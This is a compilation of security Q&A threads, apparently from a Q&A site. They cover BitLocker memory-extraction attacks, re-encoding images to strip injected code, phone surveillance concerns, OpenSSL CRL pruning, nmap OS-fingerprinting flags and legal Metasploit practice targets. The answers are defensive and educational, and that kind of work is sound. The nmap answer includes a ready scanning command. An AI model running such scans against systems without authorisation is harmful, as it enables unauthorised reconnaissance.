How do I make my drive fully protected with bitlocker? Please note that I am new to BitLocker but I was able to set it up on my C drive. After doing this, I breifly searched on the web for ways around BitLocker and came up with two articles, Passware Hard Disk Decryption and This $299 tool is reportedly capable of decrypting BitLocker ... disks in real-time. How can I prevent such attacks like these as ways to bypass BitLocker?

Prevent someone from gaining physical access to your system while it's running.

Seriously, the linked tool works by searching through an image of your system's memory for the key for the encrypted volume and using it to decrypt the encrypted volume.  The only way to prevent this is to make sure an attacker can't read the memory of a running (or suspended or hibernated) system.  There are a number of ways to get this memory image, ranging from connections via FireWire or PCIe to extracting hibernation images from the disk.  Of course, even when the system is off, you're not completely safe, thanks to cold boot attacks.


Malware injected into image.ArticleContentSniffing I came across below article.
https://code.google.com/p/doctype-mirror/wiki/ArticleContentSniffing

on of the things that brought my attention is

  To be on the very safe side, it is best to actually process the image using an image manipulation library. Read the image file, convert it into a bitmap, and then convert it back to an image file in the appropriate format

how can this prevent from a malware encoded with steganography? Does conversion to bitmap ignore/skips encoded malware code?

The linked article talks about code included into the image itself. For it to be readable and interpretable by a browser, it has to be written in text.

Thus it is not steganography.

The idea behind processing the image back to bitmap then to the appropriate format is that:  first you can check that the image is a valid image (it can be read). Then once you have a bitmap, no "code" can remain from the original image, since you are sitting here with plain RGB values. The article talked about putting HTML code within an "image comment". At the point of bitmap, there is no such thing anymore. Finally you reencode the image using a program under you control so that you are sure there's nothing fishy in it.

If we suppose that the image has been formed such as it triggers a vulnerability into the an image viewer (this is not steganography per se) processing the image with another program than the targeted viewer then re-encoding the image will most probably break the exploit. Most image process are lossy encoding and result in loss of information when you encode/decode an image, so you most probably won't get the exact same file after re-encoding.


How to stop my phone from secretly recording me? I unplug my microphone from my computer when I am not using it. The same with my webcam. I am not using Alexa or similar.

However, my smartphone has an included battery that I cannot take out.

My phone might indicate that it has no wifi connection, but I don't know if it is lying to me.
The same is true with the microphone and camera. I can put stickers over the cameras to make sure they can't secretly record me, but I can't do anything about the microphone. I have to believe what the screen shows. I have even less control over the audio recording devices from the neighboring flats.
 Who knows which kinds of recording devices THEY have...

What steps can I take to avoid my phone secretly spying on me with my microphone?  Is there anything further I can do to try to avoid other people's devices from secretly recording me?

This depends on your threat model. If you are not a high-value target, then you don't have that much to worry about.

Of course, the best way to prevent someone gathering incriminating evidence on you is to prevent that evidence from being created in the first place. If you have any reason to believe that someone is wiretapping you, don't have any electronic devices near you when you have sensitive conversations. In fact, be careful with sensitive conversations in general. Adversaries can use lasers to listen to your conversations, without the need to directly attack your mobile phone.

If you suspect that your neighbor is trying to wiretap you, then hold sensitive conversations outside of your apartment. Your car may be a suitable place, given that it's a moving target. The car of your conversational partner may be an option as well. You will have to weigh how much you trust the Operational Security of your conversational partner, compared to your own.

If this gives you major tinfoil-hat vibes, then you are indeed correct. These approaches are not practical for everyday life, but then again my everyday conversations rarely get more exciting than "Is there anything you need from the grocery store?", so I doubt any Triple-Letter Agency (or MI5) are particularly interested in that.


What to do with expired certificates as a CA? This and this answer says that "once a certificate has expired, the CA ceases to keep track of its revocation status".

I'm trying to learn how OpenSSL works as a CA. If I have a revoked expired certificate in my index.txt, then this certificate is not automatically excluded when generating a CRL.

So my questions is:

How do i keep the expired certificates from appearing on the CRL?

Should i delete all my expired certificates completely?
If so: do i need to manually edit index.txt to remove it from the database? (I cant find any arguments to openssl ca which deletes certificates from the database)

The documentation does not talk about it, but a look at the OpenSSL source code, in the apps/ca.c file, seems to indicate that the -updatedb command-line option will trigger a pruning of the index.txt database, converting expired certificates to "expired" status, which replaces the previous "revoked" or "not revoked" status.

(OpenSSL is not the best documented of software packages, especially for the command-line tools. Source code reading is often necessary.)


Optimal flags to specify when using nmap to guess the OS on remote devices? Optimal flags to specify when using nmap to guess the OS on remote devices?

I'm currently using the following:

nmap --privileged -sS -sU -sY -sZ -O --osscan-guess -F -r 192.168.200.223

This seems to work ok but it takes quite a while to finish. Is there a more optimal set of flags i can use to balance performance and accuracy?

Understanding how Nmap does OS fingerprinting will help you considerably. For the quick answer, though, here are the relevant points:

Nmap needs responses from 1 closed and 1 open TCP port to do a fingerprint.
Nmap can also use ICMP and UDP responses to further refine the match.

So you can see that you are wasting valuable time scanning for SCTP ports (-sY and -sZ) which are not used in OS fingerprinting. You wisely limit the port scanning phase to the 100-most-common ports with -F, but you may be able to reduce that even farther if you are not on a heavily-firewalled network.

Here's an example command that ought to be a good balance of speed and accuracy:

nmap -v -sSU -pT:20-25,80,443-445,U:54321-54330 -O $TARGET

EDIT: Nmap uses ICMP responses to probes to closed UDP ports in OS detection, so scanning likely-closed UDP ports will actually be better than what I said previously (-p U:53,111-161). Responses from open UDP ports are not used.


Is it OK to use Metasploit against sites like hackthissite.org? Is it OK to use exploits like those on Metasploit or similar against legally hackable sites? If not, is there any other servers that are open to that?

It all depends on the Terms of Service for the hackable sites. They will tell you what they allow.

For Metasploit, they produce Metasploitable, which is a VM to use as target practice.